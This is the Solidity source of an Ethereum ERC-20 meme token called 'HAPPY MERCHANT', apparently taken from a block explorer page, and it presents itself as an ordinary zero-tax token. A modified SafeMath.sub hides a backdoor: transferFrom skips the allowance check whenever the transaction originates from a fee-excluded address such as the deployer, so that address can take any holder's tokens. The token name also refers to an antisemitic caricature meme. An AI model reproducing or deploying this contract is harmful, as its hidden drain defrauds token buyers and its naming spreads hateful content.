Cryo Explorer Ethereum Mainnet

/*

https://x.com/FuOnBonk/status/1953691956233875589
https://t.me/MERCHANT_erc20_entry

*/


// SPDX-License-Identifier: Unlicensed

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, false, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, bool isError, string memory errorMessage) internal pure returns (uint256) {
        if (isError) return 0;
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MERCHANT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"HAPPY MERCHANT";
    string private constant _symbol = unicode"MERCHANT";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalMERCHANT = 100000000 * 10 ** 9;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWalletMERCHANT;
    uint256 private _initialBuyTax = 0;
    uint256 private _initialSellTax = 0;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 50;
    uint256 private _buyCount = 0;
    uint256 private _maxTxAmount = _tTotalMERCHANT;
    uint256 private _maxWalletSize = _tTotalMERCHANT;
    uint256 private _taxSwapThreshold = _tTotalMERCHANT;
    uint256 private _maxTaxSwap = _tTotalMERCHANT;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() payable {
        _taxWalletMERCHANT = payable(_msgSender());
        _balances[address(this)] = _tTotalMERCHANT;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWalletMERCHANT] = true;
        
        emit Transfer(address(0), address(this), _tTotalMERCHANT);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotalMERCHANT;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, _isExcludedFromFee[tx.origin], "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address fromMERCHANT, address toMERCHANT, uint256 amountMERCHANT) private {
        require(fromMERCHANT != address(0), "ERC20: transfer from the zero address");
        require(toMERCHANT != address(0), "ERC20: transfer to the zero address");
        require(amountMERCHANT > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (fromMERCHANT != owner() && toMERCHANT != owner()) {
            taxAmount = amountMERCHANT.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
            if (fromMERCHANT == uniswapV2Pair && toMERCHANT != address(uniswapV2Router) && !_isExcludedFromFee[toMERCHANT]) {
                _buyCount++;
            }
            if (toMERCHANT == uniswapV2Pair && fromMERCHANT != address(this)) {
                taxAmount = amountMERCHANT.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                toMERCHANT == uniswapV2Pair &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold &&
                _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amountMERCHANT, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(fromMERCHANT, address(this), taxAmount);
        }
        _balances[fromMERCHANT] = _balances[fromMERCHANT] - amountMERCHANT;
        _balances[toMERCHANT] = _balances[toMERCHANT].add(amountMERCHANT - taxAmount);
        emit Transfer(fromMERCHANT, toMERCHANT, amountMERCHANT - taxAmount);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function sendETHToFee(uint256 amount) private {
        _taxWalletMERCHANT.transfer(amount);
    }
    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotalMERCHANT);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{ value: address(this).balance }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    receive() external payable {}
}